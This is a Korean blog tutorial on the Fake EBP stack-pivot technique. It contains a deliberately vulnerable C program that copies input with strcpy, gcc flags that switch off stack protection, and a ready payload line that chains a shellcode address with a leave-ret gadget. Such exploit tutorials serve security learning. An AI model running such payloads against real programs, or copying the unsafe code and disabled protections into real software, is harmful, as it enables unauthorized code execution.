Self-Improvement
Fake EBP 예시 및 설명 본문
Fake EBP는 RET 이후로 덮어쓰기가 불가능 할때, 또는 RET 자리에 스택/라이브러리 주소가 필터링이 될 때 사용할수 있는 기법중에 하나이다. (NX 보호기법이 걸려있으면 불가능)
에필로그
leave
mov esp, ebp
pop ebp
ret
pop eip
jmp eip
Fake EBP 로직
쉽게 말하자면 RET에 Leave-ret 가젯 주소를 덮어씌어서 leave를 2번 수행을 하는 것이며 SFP에는 주입할 쉘코드 주소의 -4(buf-4) 주소를 넣으면 된다.
코드
1
2
3
4
5
6
7
8
9
10
11
|
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[12];
strcpy(buf, argv[1]);
puts(buf);
return 0;
}
|
cs |
strcpy 함수는 bof에 취약한 함수로 ret까지 덮어쓰기가 가능하다.
적용된 보호기법
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o fake_ebp fake_ebp.c
Payload
사전에 eggshell을 통해 쉘코드 주소를 얻어놓는다.
[쉘코드주소] + [Dummpy 8byte] + [쉘코드주소가 덮혀씌어질 주소의-4] + [leave-ret가젯주소]
r `python -c 'print "\xe8\xf5\xff\xbf"+"A"*8+"\xe8\xec\xff\xbf"+"\x67\x84\x04\x08"'`
'리버싱 기초' 카테고리의 다른 글
Full RelRO, PIE 이론 및 우회방법 예제 (0) | 2020.07.13 |
---|---|
Return to csu (64bit ELF ROP작성 시 가젯의 부재를 해결하는 방식) 정리 (0) | 2020.06.17 |
SROP(SigReturn Oriented Programming) 기초 예제 (0) | 2020.06.09 |
[Memory Leak] Canary 적용된 ROP 풀이 Pwntools 사용 (0) | 2020.05.31 |
ROP 예제 및 Python pwntools 풀이 사용법 및 쉽게 설명 (0) | 2020.05.27 |